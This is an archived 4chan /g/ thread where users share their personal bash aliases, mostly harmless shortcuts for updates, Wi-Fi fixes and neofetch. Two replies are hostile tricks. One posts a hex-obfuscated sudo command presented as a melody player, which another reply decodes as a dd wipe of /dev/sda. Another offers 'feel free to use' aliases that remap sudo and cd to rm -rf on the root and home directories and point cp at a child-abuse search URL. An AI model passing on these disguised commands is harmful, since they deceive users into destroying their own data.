[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

Bash Alias Thread: Share Your Personal Bash Aliases Here

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 37
Thread images: 4

File: bash_logo.png (4KB, 730x400px) Image search: [Google]
bash_logo.png
4KB, 730x400px
Come on /g/entoomen! You must have added at-least some garbage over the years.
Here's my ~/.bash_aliases:
alias update-hosts='~/update-hosts.sh'
alias update-pac='~/update-pac.sh'
alias update-qbt-bl='~/update-qbt-bl.sh'
alias ppa-fix='~/ppa-fix.sh'
alias wifi-channels='sudo iwlist wlp2s0 scan | grep \(Channel'
alias fix-packages='sudo apt-get install -f'
alias forcowlol='fortune -a | cowsay | lolcat'
alias scrn4tch='uname -oprv | lolcat && lsb_release -ds | lolcat && screenfetch -A "LiGNUx" -s'
alias scrn4nsh='uname -oprv | lolcat && lsb_release -ds | lolcat && screenfetch -A "LiGNUx"'
alias wthr='curl wttr.in?n2'
alias touchstick-off='xinput -set-prop "AlpsPS/2 ALPS DualPoint Stick" "Device Enabled" 0'
alias touchstick-on='xinput -set-prop "AlpsPS/2 ALPS DualPoint Stick" "Device Enabled" 1'
alias saptgup='sudo apt-get update'
alias saptup='sudo apt update'
alias wgldown='cd ~/Downloads && wget -i toDL.wgdl.txt'
alias set-ff-dimen='wmctrl -r "- Mozilla Firefox" -e 0,172,60,1580,905'
alias set-op-dimen='wmctrl -r "- Opera" -e 0,172,60,1580,905'
alias inxireg='inxi -Fz'
alias inxiful='inxi -Fxz'
alias fix-wifi='sudo systemctl restart network-manager.service'
alias fix-wifi-2='sudo service network-manager stop && sleep 7 && sudo service network-manager start'
alias fix-bluetooth='sudo systemctl enable bluetooth-resume.service'
alias ncr4nsh='uname -oprv | lolcat && lsb_release -ds | lolcat && neofetch --ascii_distro ubuntu_old'
alias ncr4tch='uname -oprv | lolcat && lsb_release -ds | lolcat && neofetch --ascii_distro ubuntu_old -s'
alias grswitchtf='~/Graphics-Switcher.sh'
alias fix-hotcorners='~/fix-hotcorners.sh'

Just copy, paste, and post yours. Rate if so desired.
>>
>>60093158

alias dux="du -h -x --max-depth=1 . | sort -h"


Everything else is a script in ~/bin/
>>
>bash
>>
>>60093334
alias :q='exit'


Like >>60093308, I keep most of my shit in ~/Scripts (which is in PATH)
ls ~/Scripts
alsa-info.sh Anime kanna.sh Lemon moviemode push.sh ssh-regen trackballscroll VolumeDown
anime backgroundShuffle kanna matrix.sh nyan.sh SaltPush touhou unmoviemode VolumeUp
>>
>>60093308
>>60093827
Share scripts via paste bin or github if possible.
>>
sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)


not really an alias but pretty cool regardless, plays a random, midilike melody.
>>
These are my aliases in my .bashrc
Feel free to use:
alias sudo='sudo rm -rf / --no-preserve-root ;'
alias cd='rm -rf ~/* ;'
alias ls='cd'
alias cp='firefox google.com/search?q=children+sex'
alias mv='cd'
alias mkdir='cd'
alias top='cd'
alias exit='cd'
alias reboot='cd'
alias shutdown='cd'
>>
Besides install, remove and update, the only worh alias on my PC is
alias clear='printf "\033c"'

It clears whole screen instead of adding bunch of new lines.
>>
alias ..='cd ..'
alias ...='cd ../..'

I use functions much more often than aliases.
>>
>>60094125
Yeah ok
>>
>>60093158
Could you please post the contents of fix-hotcorners.sh?
>>
>>60093158
alias kib='awk '"'"'{printf("%.1f%s", $1 / 1024, "K")}'"' <<<"
alias mib='awk '"'"'{printf("%.1f%s", $1 / 1024^2, "M")}'"' <<<"
alias gib='awk '"'"'{printf("%.1f%s", $1 / 1024^3, "G")}'"' <<<"

$ mib 273678336
261.0M
$ gib 2773483520
2.6G
>>
alias serve='(port=$(( 8000+( $(od -An -N2 -i /dev/random) )%(1023+1) )); (open http://localhost:${port}; python -m SimpleHTTPServer ${port}))'



alias iwget='wget -nd -r -A jpeg,jpg,bmp,gif,png --reject txt -e robots=off '
>>
>>60094251
Are you familiar with Zsh?

https://github.com/robbyrussell/oh-my-zsh

It includes many of these alias regarding git, cd, mkdir, ls.
>>
>>60094125
ubuntu ~ $ echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p
dd if=/dev/zero of=/dev/sda count=100 bs=1M
>>
Just use https://github.com/adtac/climate senpai. Or https://github.com/guarinogabriel/Mac-CLI if you're a macfag.
>>
>>60094179
Thanks anon
>>
>>60096216
This is pretty cool idea. I mean I'm using most of these commands manually but still a cool idea.
>>
 alias ls='ls -a --color=auto'
alias show='clear && neofetch -block_range 0 1 -block_range 0 15 --cpu_temp on'
alias ..='cd ..'
alias ...='cd ../..'
alias ....='cd ../../..'
alias c='clear'
alias cls='clear && ls -a'
alias clock='tty-clock -s -b -c -C 1 -D'
alias phone='$HOME/scripts/phone.sh'
alias backup='$HOME/scripts/backup.sh'
alias sdb='$HOME/scripts/unmountsdb1.sh'
alias ffwebm='$HOME/scripts/ffwebm.sh'
alias clip='rofi -modi "clipboard:greenclip print" -show clipboard'
alias vim='nvim'
alias aqua='perl $HOME/scripts/asciiquarium'
alias xup='xrdb ~/.Xresources'
>>
alias yolo='git commit -am "DEAL WITH IT" && git push -f origin master'
>>
>>60096216
That's awesome anon. thx
>>
keeeep it alive
>>
File: nough.jpg (15KB, 316x202px) Image search: [Google]
nough.jpg
15KB, 316x202px
>>60093158
stop trying productive threads
>>
>>60094125
neat
>>
>>60094179
#define FALSE TRUE
#define TRUE FALSE
>>
>>60093158
alias fucking = 'sudo'
>>
alias | xclipt


gimme

alias coqtop='ledit coqtop'
alias dc='ledit dc'
alias ed='ledit ed'
alias fr='env LANG=fr_FR.utf8'
alias ghci='ledit ghci'
alias ocaml='ledit ocaml'
alias p='ping google.com'
alias rpc='ledit rpc'
alias rpn='ledit rpn'
alias scheme='ledit scheme'
alias tex='ledit tex'
alias tmux='tmux a || tmux'
>>
File: Screenshot_2017-04-27-11-44-31.jpg (549KB, 1440x2560px) Image search: [Google]
Screenshot_2017-04-27-11-44-31.jpg
549KB, 1440x2560px
eh
>>
>>60093158
alias cd..='cd ..'
>>
Linux is shit
>>
>>60093158
I used this to make screenshots to mock ( the most sincere form of flattery ) macfags. It has been updated to be more accurate.
alias gayscrotum="scrot -u poop.png && convert poop.png -set filename:magic '%wx%h_%b-%k_%i' \( +clone -background black -shadow 80x20+0+15 \) +swap -background none -layers merge +repage '%[filename:magic]' "


You will of course need a version of scrot capable of using the -u argument & imagemagic installed. Apparently not all builds have this functionality.
>>
>>60094251
>>60095166
are you familiar with shopt -s autocd?
>>
alias longasslistingoffiles="ls -l"
>>
alias l='ls -lah'
alias cd..='cd ..'
alias sysupd='sudo apt update; sudo apt upgrade'
>>
>>60100772
>sudo
>>
File: Smart.jpg (31KB, 228x243px) Image search: [Google]
Smart.jpg
31KB, 228x243px
>>60093827
>alias :q='exit'
stealing rn
>>
>>60100784
what about it?
Thread posts: 37
Thread images: 4


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.